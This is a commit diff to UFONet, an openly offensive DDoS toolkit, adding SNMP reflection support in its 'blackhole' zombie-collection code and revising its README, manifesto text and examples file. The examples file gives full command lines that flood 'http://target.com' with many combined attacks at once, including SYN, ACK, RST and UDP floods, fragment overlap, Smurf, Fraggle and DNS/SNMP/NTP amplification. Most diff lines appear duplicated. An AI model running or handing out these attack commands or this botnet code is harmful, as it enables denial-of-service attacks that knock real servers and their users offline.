             f.write(data)
             f.write(data)
             print('\n[Info] [AI] Got "%s Closing media transfer"' % f.name)
             print('\n[Info] [AI] Got "%s Closing media transfer"' % f.name)
             f.close()
             f.close()
-        elif rpc_meat in data: # get ucavs
+        elif rpc_meat in data: # get rpcs
             r = re.compile(".*("+rpc_meat+").*") # regex magics
             r = re.compile(".*("+rpc_meat+").*") # regex magics
             meat_type = r.search(data)
             meat_type = r.search(data)
             m = meat_type.group(1)
             m = meat_type.group(1)
@@ -354,6 +380,14 @@ class Eater(Thread):
             f.write(data)
             f.write(data)
             print('\n[Info] [AI] Got "%s Closing media transfer"' % f.name)
             print('\n[Info] [AI] Got "%s Closing media transfer"' % f.name)
             f.close()
             f.close()
+        elif snmp_meat in data: # get snmps
+            r = re.compile(".*("+snmp_meat+").*") # regex magics
+            meat_type = r.search(data)
+            m = meat_type.group(1)
+            f = open(self.parent.tmp_dir+"blackhole/"+m,"wb")
+            f.write(data)
+            print('\n[Info] [AI] Got "%s Closing media transfer"' % f.name)
+            f.close()
         self.client.close()
         self.client.close()
         self.parent.eater_full(self)
         self.parent.eater_full(self)
 
 
@@ -459,26 +493,36 @@ class BlackHole ( Thread ):
                 reflectors_fail = reflectors_fail + 1
                 reflectors_fail = reflectors_fail + 1
         else:
         else:
             reflectors_fail = 0
             reflectors_fail = 0
-        if not os.path.exists(self.target_dir+"crystals.txt.gz"):
+        if not os.path.exists(self.target_dir+"warps.txt.gz"):
             ntps_fail = 0
             ntps_fail = 0
             try:
             try:
-                fc = gzip.open(self.target_dir+'crystals.txt.gz', 'wb')
+                fc = gzip.open(self.target_dir+'warps.txt.gz', 'wb')
                 fc.close()
                 fc.close()
             except:
             except:
-                print("[Error] [AI] Not 'crystals.txt.gz' file in "+self.target_dir)
+                print("[Error] [AI] Not 'warps.txt.gz' file in "+self.target_dir)
                 ntps_fail = ntps_fail + 1
                 ntps_fail = ntps_fail + 1
         else:
         else:
             ntps_fail = 0
             ntps_fail = 0
-        if not os.path.exists(self.target_dir+"warps.txt.gz"):
+        if not os.path.exists(self.target_dir+"crystals.txt.gz"):
             dnss_fail = 0
             dnss_fail = 0
             try:
             try:
-                fc = gzip.open(self.target_dir+'warps.txt.gz', 'wb')
+                fc = gzip.open(self.target_dir+'crystals.txt.gz', 'wb')
                 fc.close()
                 fc.close()
             except:
             except:
-                print("[Error] [AI] Not 'warps.txt.gz' file in "+self.target_dir)
+                print("[Error] [AI] Not 'crystals.txt.gz' file in "+self.target_dir)
                 dnss_fail = dnss_fail + 1
                 dnss_fail = dnss_fail + 1
         else:
         else:
             dnss_fail = 0
             dnss_fail = 0
+        if not os.path.exists(self.target_dir+"bosons.txt.gz"):
+            snmps_fail = 0
+            try:
+                fc = gzip.open(self.target_dir+'bosons.txt.gz', 'wb')
+                fc.close()
+            except:
+                print("[Error] [AI] Not 'bosons.txt.gz' file in "+self.target_dir)
+                snmps_fail = snmps_fail + 1
+        else:
+            snmps_fail = 0
         if not os.access(self.target_dir+"abductions.txt.gz",os.W_OK):
         if not os.access(self.target_dir+"abductions.txt.gz",os.W_OK):
             print("[Error] [AI] Write access denied for 'abductions' file in "+self.target_dir)
             print("[Error] [AI] Write access denied for 'abductions' file in "+self.target_dir)
             abductions_fail = abductions_fail + 1
             abductions_fail = abductions_fail + 1
@@ -494,13 +538,16 @@ class BlackHole ( Thread ):
         if not os.access(self.target_dir+"reflectors.txt.gz",os.W_OK):
         if not os.access(self.target_dir+"reflectors.txt.gz",os.W_OK):
             print("[Error] [AI] Write access denied for 'reflectors' file in "+self.target_dir)
             print("[Error] [AI] Write access denied for 'reflectors' file in "+self.target_dir)
             reflectors_fail = reflectors_fail + 1
             reflectors_fail = reflectors_fail + 1
-        if not os.access(self.target_dir+"crystals.txt.gz",os.W_OK):
-            print("[Error] [AI] Write access denied for 'crystals' file in "+self.target_dir)
-            ntps_fail = ntps_fail + 1
         if not os.access(self.target_dir+"warps.txt.gz",os.W_OK):
         if not os.access(self.target_dir+"warps.txt.gz",os.W_OK):
             print("[Error] [AI] Write access denied for 'warps' file in "+self.target_dir)
             print("[Error] [AI] Write access denied for 'warps' file in "+self.target_dir)
+            ntps_fail = ntps_fail + 1
+        if not os.access(self.target_dir+"crystals.txt.gz",os.W_OK):
+            print("[Error] [AI] Write access denied for 'crystals' file in "+self.target_dir)
             dnss_fail = dnss_fail + 1
             dnss_fail = dnss_fail + 1
-        if abductions_fail > 0 and troops_fail > 0 and robots_fail > 0 and drones_fail > 0 and reflectors_fail > 0 and ntps_fail > 0 and dnss_fail > 0:
+        if not os.access(self.target_dir+"bosons.txt.gz",os.W_OK):
+            print("[Error] [AI] Write access denied for 'bosons' file in "+self.target_dir)
+            snmps_fail = snmps_fail + 1
+        if abductions_fail > 0 and troops_fail > 0 and robots_fail > 0 and drones_fail > 0 and reflectors_fail > 0 and ntps_fail > 0 and dnss_fail > 0 and snmps_fail > 0:
             print("\n[Error] [AI] Cannot found any container... -> [Aborting!]")
             print("\n[Error] [AI] Cannot found any container... -> [Aborting!]")
             print("\n[Info] [AI] Suspend [Blackhole] with: Ctrl+z")
             print("\n[Info] [AI] Suspend [Blackhole] with: Ctrl+z")
             sys.exit(2)
             sys.exit(2)

+ 2 - 0
core/txt/misc.txt

@@ -62,4 +62,6 @@ Remember those who catalog #UFONet as "malware" in the next national elections.
 We are not retreating. We are advancing in another directions...
 We are not retreating. We are advancing in another directions...
 #FREEASSANGE | #FREEANONS
 #FREEASSANGE | #FREEANONS
 We are Anonymous. We are Legion. We do not forgive. We do not forget. Expect us...
 We are Anonymous. We are Legion. We do not forgive. We do not forget. Expect us...
+Power to the people!
+Rage Against The Poverty...
 #UFONet FAQ: https://ufonet.03c8.net/FAQ.html
 #UFONet FAQ: https://ufonet.03c8.net/FAQ.html

+ 1 - 0
core/txt/motherships.txt

@@ -119,6 +119,7 @@ A.Scherr
 Munder
 Munder
 Balto
 Balto
 Sota
 Sota
+C0ViD
 UNIVAC
 UNIVAC
 Antikitera
 Antikitera
 Togo
 Togo

Datei-Diff unterdrückt, da er zu groß ist
+ 930 - 60
core/webgui.py


+ 26 - 38
docs/LEEME.txt

@@ -346,45 +346,29 @@ Puedes probar tu lista de zombies "X-RPCs" lanzando:
 
 
      ./ufonet --test-rpc
      ./ufonet --test-rpc
 
 
-Al mismo tiempo, puedes conectar LOIC (con soporte para proxy), para hacer un número determinado de peticiones 
-recursivas directamente sobre tu objetivo:
-
-     ./ufonet -a http://target.com --loic 100
-
-Puedes conectar LORIS para hacer peticiones que dejen hilos abiertos en tu objetivo, haciendo que el servidor web 
-se vuelva lento:
-
-     ./ufonet -a http://target.com --loris 100
-
-Y también puedes conectar UFOSYN (requiere acceso mediante 'root') para comenzar un poderoso ataque de inundación TCP/SYN:
-
-     sudo python ufonet -a http://target.com --ufosyn 100
-
-O hacer un ataque SPRAY ('root' requerido) para lanzar una Denegación de Servicio Distribuída y Reflejada (DrDoS):
-
-     sudo python ufonet -a http://target.com --spray 100
-
-Un ataque SMURF ('root' requerido) para enviar paquetes de 'Propagación' ICMP de manera distribuída:
-
-     sudo python ufonet -a http://target.com --smurf 101
-
-O un ataque XMAS ('root' requerido) que inundará tu objetivo con paquetes 'Árbol de Navidad':
-
-     sudo python ufonet -a http://target.com --xmas 101
-
-Un ataque STARVATION ('root' requerido) que tumbará tu objetivo en segundos, si éste no tiene un mínimo nivel de protección:
-
-     sudo python ufonet -a http://target.com --nuke 10000
-
-O un ataque TACHYON ('root' requerido) para realizar una amplificación distribuída del tráfico DNS:
-
-     sudo python ufonet -a http://target.com --tachyon 1000
-
-Todos los ataques pueden ser combinados haciendo que UFONet utilice distintas técnicas de DDoS y DoS, al mismo tiempo:
-
-     python ufonet -a http://target.com --loic 100 --loris 100
+###############################
+# Ataques Extra
+###############################
 
 
-     sudo python ufonet -a http://target.com --loic 100 --loris 100 --ufosyn 100 --spray 100 --smurf 101 --xmas 101 --nuke 10000 --tachyon 1000
+ - LOIC: https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon
+ - LORIS: https://en.wikipedia.org/wiki/Slowloris_(software)
+ - UFOSYN: https://en.wikipedia.org/wiki/SYN_flood
+ - FRAGGLE: https://en.wikipedia.org/wiki/Fraggle_attack
+ - UFORST: https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood
+ - SPRAY: https://en.wikipedia.org/wiki/DRDOS
+ - SMURF: https://en.wikipedia.org/wiki/Smurf_attack
+ - XMAS: https://en.wikipedia.org/wiki/Christmas_tree_packet
+ - DROPER: https://en.wikipedia.org/wiki/IP_fragmentation_attack
+ - SNIPER: https://www.imperva.com/learn/application-security/snmp-reflection/
+ - TACHYON: https://www.us-cert.gov/ncas/alerts/TA13-088A
+ - PINGER: https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/
+ - MONLIST: https://www.us-cert.gov/ncas/alerts/TA14-013A
+ - UFOACK: https://www.f5.com/services/resources/glossary/push-and-ack-flood
+ - OVERLAP: https://cyberhoot.com/cybrary/fragment-overlap-attack/
+ - UFOUDP: https://en.wikipedia.org/wiki/UDP_flood_attack
+ - NUKE: https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf
+
+Todos los ataques pueden ser combinados haciendo que UFONet utilice distintas técnicas de DDoS y DoS, al mismo tiempo.
 
 
 ###############################
 ###############################
 # Actualizando
 # Actualizando
@@ -456,6 +440,10 @@ más algunas "extra":
 # Timelog
 # Timelog
 ###############################
 ###############################
 
 
+--------------------------
+17.08.2020 : v.1.6
+--------------------------
+
 --------------------------
 --------------------------
 08.06.2020 : v.1.5
 08.06.2020 : v.1.5
 --------------------------
 --------------------------

+ 26 - 39
docs/README.txt

@@ -341,46 +341,29 @@ You can test your list of 'XML-RPCs zombies' launching:
 
 
      ./ufonet --test-rpc
      ./ufonet --test-rpc
 
 
-At same time, you can connect LOIC (with proxy support), to make a determinate number of recursive requests 
-directly to your target:
-
-     ./ufonet -a http://target.com --loic 100
-
-You can connect LORIS to make requests leave open threads on the target too, making the web server 
-work slower:
-
-     ./ufonet -a http://target.com --loris 100
-
-And you can connect UFOSYN (it requires 'root' access) to start a powerful TCP/SYN flood attack:
-
-     sudo python ufonet -a http://target.com --ufosyn 100
-
-Or make a SPRAY ('root' required) attack to launch a Distributed 'Reflection' Denial of Service (DrDoS):
-
-     sudo python ufonet -a http://target.com --spray 100
-
-A SMURF ('root' required) attack to send Distributed ICMP 'Broadcast' packets:
-
-     sudo python ufonet -a http://target.com --smurf 101
-
-Or a XMAS ('root' required) attack that will flood your target with 'Christmas Tree' packets
-
-     sudo python ufonet -a http://target.com --xmas 101
-
-A STARVATION attack ('root' required) that will knock down your target in seconds, if it does not have a 
-minimum level of protection:
-
-     sudo python ufonet -a http://target.com --nuke 10000
-
-Or a TACHYON ('root' required) attack to perform a distributed amplification of DNS traffic:
-
-     sudo python ufonet -a http://target.com --tachyon 1000
-
-All ways could be combined, so UFONet can attack DDoS and DoS, at the same time:
-
-     python ufonet -a http://target.com --loic 100 --loris 100
+###############################
+# Extra attacks
+###############################
 
 
-     sudo python ufonet -a http://target.com --loic 100 --loris 100 --ufosyn 100 --spray 100 --smurf 101 --xmas 101 --nuke 10000 --tachyon 1000
+ - LOIC: https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon
+ - LORIS: https://en.wikipedia.org/wiki/Slowloris_(software)
+ - UFOSYN: https://en.wikipedia.org/wiki/SYN_flood
+ - FRAGGLE: https://en.wikipedia.org/wiki/Fraggle_attack
+ - UFORST: https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood
+ - SPRAY: https://en.wikipedia.org/wiki/DRDOS
+ - SMURF: https://en.wikipedia.org/wiki/Smurf_attack
+ - XMAS: https://en.wikipedia.org/wiki/Christmas_tree_packet
+ - DROPER: https://en.wikipedia.org/wiki/IP_fragmentation_attack
+ - SNIPER: https://www.imperva.com/learn/application-security/snmp-reflection/
+ - TACHYON: https://www.us-cert.gov/ncas/alerts/TA13-088A
+ - PINGER: https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/
+ - MONLIST: https://www.us-cert.gov/ncas/alerts/TA14-013A
+ - UFOACK: https://www.f5.com/services/resources/glossary/push-and-ack-flood
+ - OVERLAP: https://cyberhoot.com/cybrary/fragment-overlap-attack/
+ - UFOUDP: https://en.wikipedia.org/wiki/UDP_flood_attack
+ - NUKE: https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf
+
+All ways could be combined, so UFONet can attack DDoS and DoS, at the same time.
 
 
 ###############################
 ###############################
 # Updating
 # Updating
@@ -451,6 +434,10 @@ This will open a tab on your default browser with all features of the tool and s
 # Timelog
 # Timelog
 ###############################
 ###############################
 
 
+--------------------------
+17.08.2020 : v.1.6
+--------------------------
+
 --------------------------
 --------------------------
 08.06.2020 : v.1.5
 08.06.2020 : v.1.5
 --------------------------
 --------------------------

+ 2 - 1
docs/VERSION

@@ -15,4 +15,5 @@ Date	    Size     Version    Alias
 2018-12-31  966.9Kb   1.2       Armageddon!         
 2018-12-31  966.9Kb   1.2       Armageddon!         
 2019-03-07    1.0Mb   1.3       SingularitY!        
 2019-03-07    1.0Mb   1.3       SingularitY!        
 2020-02-01   25.0Mb   1.4       T!M3-WaRS           
 2020-02-01   25.0Mb   1.4       T!M3-WaRS           
-2020-06-08   27.2Mb   1.5       MuLTi.V3rSe!        
+2020-06-08   27.2Mb   1.5       MuLTi.V3rSe!
+2020-08-17   27.4Mb   1.6       M4RAuD3R!       

+ 5 - 5
docs/examples.txt

@@ -47,31 +47,31 @@
 +_PALANTIR-3.14 (non-root): 
 +_PALANTIR-3.14 (non-root): 
 ----------------------------------------------
 ----------------------------------------------
 
 
- ufonet -a "http://target.com" -r "100" --loic "1000" --loris "1000"
+ ufonet -a "http://target.com" -r "100" --threads "100" --loic "1000" --loris "1000"
 
 
 ----------------------------------------------
 ----------------------------------------------
 +_SOCKING_WAVES (instant-knockout!) (as root):
 +_SOCKING_WAVES (instant-knockout!) (as root):
 ----------------------------------------------
 ----------------------------------------------
 
 
- ufonet -a "http://target.com" -r "100" --nuke "10000"
+ ufonet -a "http://target.com" -r "100" --threads "100" --nuke "10000"
 
 
 ----------------------------------------------
 ----------------------------------------------
 +_XCOM-1 (only DDoS) (as root): 
 +_XCOM-1 (only DDoS) (as root): 
 ----------------------------------------------
 ----------------------------------------------
 
 
- ufonet -a "http://target.com" -r "100" --spray "1000" --smurf "1000" --tachyon "1000" --monlist "1000"
+ ufonet -a "http://target.com" -r "100" --threads "100" --spray "1000" --smurf "1000" --tachyon "1000" --monlist "1000" --fraggle "1000" --sniper "1000"
 
 
 ----------------------------------------------
 ----------------------------------------------
 +_XCOM-2 (only DoS) (as root):
 +_XCOM-2 (only DoS) (as root):
 ----------------------------------------------
 ----------------------------------------------
 
 
- ufonet -a "http://target.com" -r "100" --loic "1000" --loris "1000" --ufosyn "1000" --xmas "1000" --nuke "1000"
+ ufonet -a "http://target.com" -r "100" --threads "100" --loic "1000" --loris "1000" --ufosyn "1000" --xmas "1000" --nuke "1000" --ufoack "1000" --uforst "1000" --droper "1000" --overlap "1000" --pinger "1000" --ufoudp "1000"
 
 
 ----------------------------------------------
 ----------------------------------------------
 +_ARMAGEDDON! (with ALL!) (as root):
 +_ARMAGEDDON! (with ALL!) (as root):
 ----------------------------------------------
 ----------------------------------------------
 
 
- ufonet -a http://target.com -r "100" --loic "1000" --loris "1000" --ufosyn "1000" --spray "1000" --smurf "1000" --xmas "1000" --nuke "1000" --tachyon "1000" --monlist "1000" --threads "100"
+ ufonet -a http://target.com -r "100" --threads "100" --loic "1000" --loris "1000" --ufosyn "1000" --spray "1000" --smurf "1000" --xmas "1000" --nuke "1000" --tachyon "1000" --monlist "1000" --fraggle "1000" --sniper "1000" --ufoack "1000" --uforst "1000" --droper "1000" --overlap "1000" --pinger "1000" --ufoudp "1000" 
 
 
 -----------------------------------------------------------------------------
 -----------------------------------------------------------------------------
 +_UFONET_EXAMPLES (online):
 +_UFONET_EXAMPLES (online):

+ 1 - 1
docs/release.date

@@ -1 +1 @@
-Mon Jun  8 12:00:02 2020
+Mon Aug  17 22:00:02 2020

+ 1 - 1
setup.py

@@ -18,7 +18,7 @@ from setuptools import setup, find_packages
 
 
 setup(
 setup(
     name='ufonet',
     name='ufonet',
-    version='1.5',
+    version='1.6',
     license='GPLv3',
     license='GPLv3',
     author_email='epsylon@riseup.net',
     author_email='epsylon@riseup.net',
     author='psy',
     author='psy',